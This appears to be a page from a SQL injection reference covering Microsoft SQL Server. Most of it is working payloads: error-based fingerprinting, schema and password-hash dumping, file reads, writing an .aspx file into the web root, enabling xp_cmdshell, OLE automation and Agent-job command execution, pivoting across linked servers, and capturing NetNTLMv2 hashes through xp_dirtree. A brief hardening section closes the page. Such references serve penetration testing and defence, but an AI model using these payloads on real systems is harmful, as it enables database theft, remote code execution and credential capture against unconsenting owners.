Skip to content
CWE-89A03:2021 – Injection

Microsoft SQL Server

Verbose errors, universal stacked-query support, and xp_cmdshell — the friendliest engine to attack and the one where escalation is most direct.

Fingerprinting

MSSQL is the easiest engine to identify because its conversion errors are so descriptive — they name the value, its type, and the target type in plain English.

Markers:

  • + concatenates strings (unique among the majors)
  • @@version exists (shared with MySQL) but returns a multi-line banner starting Microsoft SQL Server
  • Errors read Conversion failed when converting … and Incorrect syntax near …
  • TOP instead of LIMIT

Identification probes

SQL
' AND 1=CONVERT(int,@@version)-- -
-- => Conversion failed when converting the nvarchar value
--    'Microsoft SQL Server 2019 (RTM-CU18) ...' to data type int.

' AND 'a'+'b'='ab'-- -           -- + concatenation
' AND @@SERVERNAME=@@SERVERNAME-- -
' AND 1=(SELECT TOP 1 1 FROM sysobjects)-- -

-- Error text is distinctive:
-- "Unclosed quotation mark after the character string"
-- "Incorrect syntax near ..."

Syntax Reference

OperationSyntax
Comment-- - or /* */
Version@@version SERVERPROPERTY('ProductVersion')
Current userSYSTEM_USER USER_NAME() SUSER_SNAME()
Current databaseDB_NAME()
Concatenationa+b CONCAT(a,b) (2012+)
SubstringSUBSTRING(s,1,1)
LengthLEN(s) DATALENGTH(s)
ASCII valueASCII(c) UNICODE(c)
Char from codeCHAR(65) NCHAR(65)
CastCAST(s AS int) CONVERT(int,s)
DelayWAITFOR DELAY '0:0:5' (statement, needs stacking)
ConditionalIIF(cond,a,b) CASE WHEN cond THEN a ELSE b END
Row limitSELECT TOP 1 … OFFSET 5 ROWS FETCH NEXT 1 ROWS ONLY
Aggregate rowsSTRING_AGG(col,',') (2017+) FOR XML PATH('')
No-table SELECTSELECT 1 (no FROM needed)
Stacked queriesAlways supported

Schema Enumeration

SQL
-- Databases
SELECT name FROM master..sysdatabases
SELECT name FROM sys.databases

-- Tables
SELECT name FROM sysobjects WHERE xtype='U'
SELECT table_name FROM information_schema.tables

-- Columns
SELECT name FROM syscolumns WHERE id=(SELECT id FROM sysobjects WHERE name='users')
SELECT column_name,data_type FROM information_schema.columns WHERE table_name='users'

-- Cross-database: MSSQL lets you reach other databases on the same instance
SELECT name FROM otherdb..sysobjects WHERE xtype='U'

-- Everything in one request (2017+)
SELECT STRING_AGG(table_name+'.'+column_name,', ')
FROM information_schema.columns

-- Pre-2017, the FOR XML PATH idiom
SELECT (SELECT table_name+'.'+column_name+'; '
        FROM information_schema.columns FOR XML PATH(''))

-- Privileges — is_srvrolemember decides everything downstream
SELECT IS_SRVROLEMEMBER('sysadmin')      -- 1 means xp_cmdshell is reachable
SELECT IS_MEMBER('db_owner')
SELECT name FROM sys.sql_logins           -- login list
SELECT name,password_hash FROM sys.sql_logins   -- hashes, sysadmin only

File Read and Write

SQL
-- Read a file into a single value (needs ADMINISTER BULK OPERATIONS / bulkadmin)
SELECT * FROM OPENROWSET(BULK 'C:/Windows/win.ini', SINGLE_CLOB) AS x

-- Line by line
CREATE TABLE f(line varchar(8000));
BULK INSERT f FROM 'C:/inetpub/wwwroot/web.config';
SELECT * FROM f;

-- Directory listing via xp_dirtree (also the OOB primitive).
-- xp_dirtree accepts forward slashes; use backslashes for UNC targets.
EXEC master..xp_dirtree 'C:/inetpub/wwwroot',1,1

-- File existence check
EXEC master..xp_fileexist 'C:/Windows/win.ini'

-- Write: no direct primitive. Use xp_cmdshell, or OLE automation:
DECLARE @o INT, @f INT;
EXEC sp_OACreate 'Scripting.FileSystemObject', @o OUT;
EXEC sp_OAMethod @o,'CreateTextFile',@f OUT,'C:/inetpub/wwwroot/s.aspx';
EXEC sp_OAMethod @f,'WriteLine',NULL,'<%response.write(1)%>';

Command Execution

xp_cmdshell executes an arbitrary shell command as the SQL Server service account. It is disabled by default since SQL Server 2005 — but a sysadmin can turn it back on in the same injection, so "disabled" is not a security boundary if the application connects with elevated rights.

The fact that MSSQL supports stacked queries universally means this is reachable from any injection point, not just ones that reflect output.

Applications running as sa are unfortunately common in the wild. Check IS_SRVROLEMEMBER('sysadmin') first — if it returns 1, treat the finding as critical RCE, not as data disclosure.

xp_cmdshell and alternatives

SQL
-- Enable and run
'; EXEC sp_configure 'show advanced options',1; RECONFIGURE;
   EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;
   EXEC xp_cmdshell 'whoami'-- -

-- Read output back through a table (execution is blind otherwise)
'; CREATE TABLE o(line varchar(8000));
   INSERT INTO o EXEC xp_cmdshell 'whoami'-- -
' UNION SELECT NULL,line,NULL FROM o-- -

-- OLE automation — alternative when xp_cmdshell is removed
'; EXEC sp_configure 'Ole Automation Procedures',1; RECONFIGURE;
   DECLARE @o INT;
   EXEC sp_OACreate 'WScript.Shell',@o OUT;
   EXEC sp_OAMethod @o,'Run',NULL,'cmd /c whoami > C:/out.txt'-- -

-- CLR assemblies — the stealthiest route, and the hardest to remove
'; EXEC sp_configure 'clr enabled',1; RECONFIGURE-- -

-- Agent jobs — execution without xp_cmdshell if SQL Agent runs
'; EXEC msdb.dbo.sp_add_job @job_name='x';
   EXEC msdb.dbo.sp_add_jobstep @job_name='x',@step_name='s',
     @subsystem='CMDEXEC',@command='whoami > C:/out.txt';
   EXEC msdb.dbo.sp_add_jobserver @job_name='x';
   EXEC msdb.dbo.sp_start_job @job_name='x'-- -

Linked Servers and Lateral Movement

MSSQL instances are frequently linked to one another so queries can span servers. Each link carries stored credentials, and those often belong to a more privileged account than the one you compromised.

This makes a single injection into a low-privilege database a foothold for lateral movement across an estate.

-- Enumerate links
SELECT srvname, srvproduct FROM master..sysservers
EXEC sp_linkedservers

-- Execute on the linked server, using its stored credentials
SELECT * FROM OPENQUERY([REMOTE], 'SELECT @@version')
EXEC ('SELECT IS_SRVROLEMEMBER(''sysadmin'')') AT [REMOTE]

-- Links can be bidirectional and chained; a low-privilege
-- account here may map to sa over there.

See Privilege Escalation.

Quirks Worth Knowing

Stacked queries always work. Unlike every other engine, there is no driver configuration to check. Any injection point is a write primitive.

Errors are extremely verbose by default. ASP.NET applications with customErrors="Off" leak full messages, making error-based extraction fast and uncapped.

sysadmin is common. Legacy applications connecting as sa are widespread. Always check.

No LIMIT. TOP n goes after SELECT; OFFSET … FETCH requires an ORDER BY.

Unicode bypasses. N'admin' is an nvarchar literal, and some filters only match the ASCII form.

xp_dirtree triggers SMB authentication, which leaks a NetNTLMv2 hash to any host you name — useful both as an OOB channel and as a credential-capture primitive.

Prevention

Parameterise — see .NET and Java.

MSSQL-specific hardening:

  • Never connect an application as sa or any sysadmin member. This is the single highest-value control; it removes xp_cmdshell, sp_OA*, CLR, and agent jobs at once.
  • Keep xp_cmdshell, Ole Automation Procedures, and clr enabled off, and alert on sp_configure changes.
  • Set customErrors="On" in ASP.NET so conversion errors do not reach clients.
  • Audit linked servers; remove unused ones and ensure links do not map to elevated accounts.
  • Restrict outbound SMB from database hosts to stop xp_dirtree exfiltration and hash capture.